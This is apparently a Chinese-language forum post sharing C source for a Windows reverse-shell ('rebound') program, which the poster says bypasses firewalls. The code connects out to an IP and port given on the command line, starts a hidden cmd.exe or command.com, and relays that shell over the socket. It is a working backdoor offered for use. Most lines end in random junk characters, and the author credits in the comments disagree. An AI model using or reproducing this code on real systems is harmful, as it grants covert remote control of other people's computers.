这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 :uOZjEZi
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/* ============================== s.f`.o
Rebound port in Windows NT <sm#D"GpP
By wind,2006/7 vEu
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===============================*/ F~tm`n8Z
#include d1UVvyH
#include x*NqA(r
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#pragma comment(lib,"wsock32.lib") _Syre6k
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void OutputShell(); Mi;}.K0J
SOCKET sClient; t.3Ct@wK
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; AQE
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void main(int argc,char **argv) m\<<oIlH
{ C4&U:y<ju
WSADATA stWsaData; H+S~ bzz
int nRet; k)?,xY\AV
SOCKADDR_IN stSaiClient,stSaiServer; Ah6wU|_-g
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if(argc != 3) r~ZS1Tp
{ 4JX`>a{<
printf("Useage:\n\rRebound DestIP DestPort\n"); |
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return; F?*Dr
} p:DL:^zx
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WSAStartup(MAKEWORD(2,2),&stWsaData); KC@k9e
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); _fczE~O/
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stSaiClient.sin_family = AF_INET; 7P3<o!YA
stSaiClient.sin_port = htons(0); 8[6ny=S`
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 7Vz[ji
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) !^c:'I>~
{ o|R*POM
printf("Bind Socket Failed!\n"); "Y"t2l_n
return; FK4nz2&4
} A)b)ff ,
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stSaiServer.sin_family = AF_INET; ek<PISlci
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); />dB%*
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 8m#}S\m
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) _n-VgPRn
{ :zizca4
printf("Connect Error!"); Y9IJ
return; k| _$R?
} g@S@d&9
OutputShell(); `jD8(}_
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void OutputShell() c,#~L7
{ }m=tzHB*
char szBuff[1024]; 5PPPd-'Z_
SECURITY_ATTRIBUTES stSecurityAttributes; O:oU`vE
OSVERSIONINFO stOsversionInfo; Wo:zU
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; kjLsk-
STARTUPINFO stStartupInfo; E5,%J
char *szShell; aGq_hP
PROCESS_INFORMATION stProcessInformation; 2.fyP"P
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unsigned long lBytesRead; A%NK0j$;}
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); F]K$u<U
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); :wv
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stSecurityAttributes.lpSecurityDescriptor = 0;
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stSecurityAttributes.bInheritHandle = TRUE; Xm"w,J&
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); F"B<R~
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 2- Npw%;
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); .NV)hg)|cZ
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <'>d0:>N
stStartupInfo.wShowWindow = SW_HIDE; |kBg8).B
stStartupInfo.hStdInput = hReadPipe; /?.r!Cp
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; E>l#0Zw
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GetVersionEx(&stOsversionInfo); O" X!S_R
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switch(stOsversionInfo.dwPlatformId) vc>^.#7
{ }2iKi(io*
case 1: 75hFyh;u
szShell = "command.com"; :w
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break; #GDh/t2@
default: X*0eN3o.
szShell = "cmd.exe"; n3HCd-z
break; *hk{q/*Qw
} k2_6<v
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ,z0~mN
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send(sClient,szMsg,77,0); Pq{YZMr
while(1) 26('V `N
{ ,{`o/F/
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 0btmao-
if(lBytesRead) T0*TTB&b
{ @ 2%.>0s.
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 6S! lD=
send(sClient,szBuff,lBytesRead,0); m5'__<
} , IMT '*
else EvH(Po h
{ 7b7%(
lBytesRead=recv(sClient,szBuff,1024,0); (_%JF[W
if(lBytesRead<=0) break; $dVgFot
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); hZss
} %WJ{IXlz
} bY"eC i{K
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return; HAI1%F236
}